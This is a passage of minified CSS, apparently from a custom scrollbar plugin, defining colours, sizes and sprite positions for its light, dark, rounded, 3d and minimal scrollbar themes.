.mCSB_dragger_bar{width:4px;background-color:#fff;background-color:rgba(255,255,255,.75);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px}.mCS-dark-2.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-dark-2.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-light-2.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-light-2.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:4px;margin:6px auto}.mCS-light-2.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.85)}.mCS-light-2.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-light-2.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.9)}.mCS-light-2.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px 0}.mCS-light-2.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -20px}.mCS-light-2.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -40px}.mCS-light-2.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -56px}.mCS-dark-2.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px}.mCS-dark-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px}.mCS-dark-2.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-dark-2.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark-2.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-dark-2.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px 0}.mCS-dark-2.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -20px}.mCS-dark-2.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -40px}.mCS-dark-2.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -56px}.mCS-dark-thick.mCSB_scrollTools .mCSB_draggerRail,.mCS-light-thick.mCSB_scrollTools .mCSB_draggerRail{width:4px;background-color:#fff;background-color:rgba(255,255,255,.1);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px}.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-light-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:6px;background-color:#fff;background-color:rgba(255,255,255,.75);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px}.mCS-dark-thick.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-light-thick.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:4px;margin:6px 0}.mCS-dark-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-light-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:6px;margin:5px auto}.mCS-light-thick.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.85)}.mCS-light-thick.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-light-thick.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.9)}.mCS-light-thick.mCSB_scrollTools .mCSB_buttonUp{background-position:-16px 0}.mCS-light-thick.mCSB_scrollTools .mCSB_buttonDown{background-position:-16px -20px}.mCS-light-thick.mCSB_scrollTools .mCSB_buttonLeft{background-position:-20px -40px}.mCS-light-thick.mCSB_scrollTools .mCSB_buttonRight{background-position:-20px -56px}.mCS-dark-thick.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px}.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px}.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonUp{background-position:-96px 0}.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonDown{background-position:-96px -20px}.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonLeft{background-position:-100px -40px}.mCS-dark-thick.mCSB_scrollTools .mCSB_buttonRight{background-position:-100px -56px}.mCS-light-thin.mCSB_scrollTools .mCSB_draggerRail{background-color:#fff;background-color:rgba(255,255,255,.1)}.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-light-thin.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:2px}.mCS-dark-thin.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-light-thin.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%}.mCS-dark-thin.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-light-thin.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:2px;margin:7px auto}.mCS-dark-thin.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.15)}.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75)}.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark-thin.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonUp{background-position:-80px 0}.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonDown{background-position:-80px -20px}.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonLeft{background-position:-80px -40px}.mCS-dark-thin.mCSB_scrollTools .mCSB_buttonRight{background-position:-80px -56px}.mCS-rounded.mCSB_scrollTools .mCSB_draggerRail{background-color:#fff;background-color:rgba(255,255,255,.15)}.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger,.mCS-rounded-dots.mCSB_scrollTools .mCSB_dragger,.mCS-rounded.mCSB_scrollTools .mCSB_dragger{height:14px}.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:14px;margin:0 1px}.mCS-rounded-dark.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-rounded.mCSB_scrollTools_horizontal .mCSB_dragger{width:14px}.mCS-rounded-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{height:14px;margin:1px 0}.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar{width:16px;height:16px;margin:-1px 0}.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-rounded-dark.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-rounded.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{width:4px}.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar{height:16px;width:16px;margin:0 -1px}.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-rounded-dark.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-rounded.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{height:4px;margin:6px 0}.mCS-rounded.mCSB_scrollTools .mCSB_buttonUp{background-position:0 -72px}.mCS-rounded.mCSB_scrollTools .mCSB_buttonDown{background-position:0 -92px}.mCS-rounded.mCSB_scrollTools .mCSB_buttonLeft{background-position:0 -112px}.mCS-rounded.mCSB_scrollTools .mCSB_buttonRight{background-position:0 -128px}.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75)}.mCS-rounded-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.15)}.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85)}.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-rounded-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9)}.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-80px -72px}.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-80px -92px}.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-80px -112px}.mCS-rounded-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-80px -128px}.mCS-rounded-dots-dark.mCSB_scrollTools_vertical .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools_vertical .mCSB_draggerRail{width:4px}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_draggerRail{background-color:transparent;background-position:center}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools .mCSB_draggerRail{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAANElEQVQYV2NkIAAYiVbw//9/Y6DiM1ANJoyMjGdBbLgJQAX/kU0DKgDLkaQAvxW4HEvQFwCRcxIJK1XznAAAAABJRU5ErkJggg==);background-repeat:repeat-y;opacity:.3;filter:"alpha(opacity=30)";-ms-filter:"alpha(opacity=30)"}.mCS-rounded-dots-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-rounded-dots.mCSB_scrollTools_horizontal .mCSB_draggerRail{height:4px;margin:6px 0;background-repeat:repeat-x}.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonUp{background-position:-16px -72px}.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonDown{background-position:-16px -92px}.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonLeft{background-position:-20px -112px}.mCS-rounded-dots.mCSB_scrollTools .mCSB_buttonRight{background-position:-20px -128px}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_draggerRail{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYV2NkIAAYSVFgDFR8BqrBBEifBbGRTfiPZhpYjiQFBK3A6l6CvgAAE9kGCd1mvgEAAAAASUVORK5CYII=)}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-96px -72px}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-96px -92px}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-100px -112px}.mCS-rounded-dots-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-100px -128px}.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-repeat:repeat-y;background-image:-moz-linear-gradient(left,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-webkit-gradient(linear,left top,right top,color-stop(0,rgba(255,255,255,.5)),color-stop(100%,rgba(255,255,255,0)));background-image:-webkit-linear-gradient(left,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-o-linear-gradient(left,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-ms-linear-gradient(left,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:linear-gradient(to right,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%)}.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{background-repeat:repeat-x;background-image:-moz-linear-gradient(top,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0,rgba(255,255,255,.5)),color-stop(100%,rgba(255,255,255,0)));background-image:-webkit-linear-gradient(top,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-o-linear-gradient(top,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:-ms-linear-gradient(top,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%);background-image:linear-gradient(to bottom,rgba(255,255,255,.5) 0,rgba(255,255,255,0) 100%)}.mCS-3d-dark.mCSB_scrollTools_vertical .mCSB_dragger,.mCS-3d.mCSB_scrollTools_vertical .mCSB_dragger{height:70px}.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-3d.mCSB_scrollTools_horizontal .mCSB_dragger{width:70px}.mCS-3d-dark.mCSB_scrollTools,.mCS-3d.mCSB_scrollTools{opacity:1;filter:"alpha(opacity=30)";-ms-filter:"alpha(opacity=30)"}.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_draggerRail{-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px}.mCS-3d-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-3d.mCSB_scrollTools .mCSB_draggerRail{width:8px;background-color:#000;background-color:rgba(0,0,0,.2);box-shadow:inset 1px 0 1px rgba(0,0,0,.5),inset -1px 0 1px rgba(255,255,255,.2)}.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#555}.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:8px}.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-3d.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:8px;margin:4px 0;box-shadow:inset 0 1px 1px rgba(0,0,0,.5),inset 0 -1px 1px rgba(255,255,255,.2)}.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:8px;margin:4px auto}.mCS-3d.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px -72px}.mCS-3d.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -92px}.mCS-3d.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -112px}.mCS-3d.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -128px}.mCS-3d-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1);box-shadow:inset 1px 0 1px rgba(0,0,0,.1)}.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail{box-shadow:inset 0 1px 1px rgba(0,0,0,.1)}.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px -72px}.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -92px}.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -112px}.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -128px}.mCS-3d-thick-dark.mCSB_scrollTools,.mCS-3d-thick.mCSB_scrollTools{opacity:1;filter:"alpha(opacity=30)";-ms-filter:"alpha(opacity=30)"}.mCS-3d-thick-dark.mCSB_scrollTools,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_draggerContainer,.mCS-3d-thick.mCSB_scrollTools,.mCS-3d-thick.mCSB_scrollTools .mCSB_draggerContainer{-webkit-border-radius:7px;-moz-border-radius:7px;border-radius:7px}.mCSB_inside+.mCS-3d-thick-dark.mCSB_scrollTools_vertical,.mCSB_inside+.mCS-3d-thick.mCSB_scrollTools_vertical{right:1px}.mCS-3d-thick-dark.mCSB_scrollTools_vertical,.mCS-3d-thick.mCSB_scrollTools_vertical{box-shadow:inset 1px 0 1px rgba(0,0,0,.1),inset 0 0 14px rgba(0,0,0,.5)}.mCS-3d-thick-dark.mCSB_scrollTools_horizontal,.mCS-3d-thick.mCSB_scrollTools_horizontal{bottom:1px;box-shadow:inset 0 1px 1px rgba(0,0,0,.1),inset 0 0 14px rgba(0,0,0,.5)}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;box-shadow:inset 1px 0 0 rgba(255,255,255,.4);width:12px;margin:2px;position:absolute;height:auto;top:0;bottom:0;left:0;right:0}.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{box-shadow:inset 0 1px 0 rgba(255,255,255,.4);height:12px;width:auto}.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#555}.mCS-3d-thick.mCSB_scrollTools .mCSB_draggerContainer{background-color:#000;background-color:rgba(0,0,0,.05);box-shadow:inset 1px 1px 16px rgba(0,0,0,.1)}.mCS-3d-thick.mCSB_scrollTools .mCSB_draggerRail{background-color:transparent}.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px -72px}.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -92px}.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -112px}.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -128px}.mCS-3d-thick-dark.mCSB_scrollTools{box-shadow:inset 0 0 14px rgba(0,0,0,.2)}.mCS-3d-thick-dark.mCSB_scrollTools_horizontal{box-shadow:inset 0 1px 1px rgba(0,0,0,.1),inset 0 0 14px rgba(0,0,0,.2)}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{box-shadow:inset 1px 0 0 rgba(255,255,255,.4),inset -1px 0 0 rgba(0,0,0,.2)}.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{box-shadow:inset 0 1px 0 rgba(255,255,255,.4),inset 0 -1px 0 rgba(0,0,0,.2)}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#777}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_draggerContainer{background-color:#fff;background-color:rgba(0,0,0,.05);box-shadow:inset 1px 1px 16px rgba(0,0,0,.1)}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-minimal-dark.mCSB_scrollTools .mCSB_draggerRail,.mCS-minimal.mCSB_scrollTools .mCSB_draggerRail{background-color:transparent}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px -72px}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -92px}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -112px}.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -128px}.mCSB_outside+.mCS-minimal-dark.mCSB_scrollTools_vertical,.mCSB_outside+.mCS-minimal.mCSB_scrollTools_vertical{right:0;margin:12px 0}.mCustomScrollBox.mCS-minimal+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal-dark+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox.mCS-minimal-dark+.mCSB_scrollTools.mCSB_scrollTools_horizontal{bottom:0;margin:0 12px}.mCS-dir-rtl>.mCSB_outside+.mCS-minimal-dark.mCSB_scrollTools_vertical,.mCS-dir-rtl>.mCSB_outside+.mCS-minimal.mCSB_scrollTools_vertical{left:0;right:auto}.mCS-minimal-dark.mCSB_scrollTools_vertical .mCSB_dragger,.mCS-minimal.mCSB_scrollTools_vertical .mCSB_dragger{height:50px}.mCS-minimal-dark.mCSB_scrollTools_horizontal .mCSB_dragger,.mCS-minimal.mCSB_scrollTools_horizontal .mCSB_dragger{width:50px}.mCS-minimal.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.2);filter:"alpha(opacity=20)";-ms-filter:"alpha(opacity=20)"}.mCS-minimal.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-minimal.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.5);filter:"alpha(opacity=50)";-ms-filter:"alpha(opacity=50)"}.mCS-minimal-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.2);filter:"alpha(opacity=20)";-ms-filter:"alpha(opacity=20)"}.mCS-minimal-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-minimal-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.5);filter:"alpha(opacity=50)";-ms-filter:"alpha(opacity=50)"}.mCS-dark-3.mCSB_scrollTools .mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools .mCSB_draggerRail{width:6px;background-color:#000;background-color:rgba(0,0,0,.2)}.mCS-dark-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-light-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:6px}.mCS-dark-3.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-dark-3.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-light-3.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:6px;margin:5px 0}.mCS-dark-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-dark-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{width:12px}.mCS-dark-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-dark-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCS-light-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{height:12px;margin:2px 0}.mCS-light-3.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px -72px}.mCS-light-3.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -92px}.mCS-light-3.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -112px}.mCS-light-3.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -128px}.mCS-dark-3.mCSB_scrollTools .mCSB_dragger 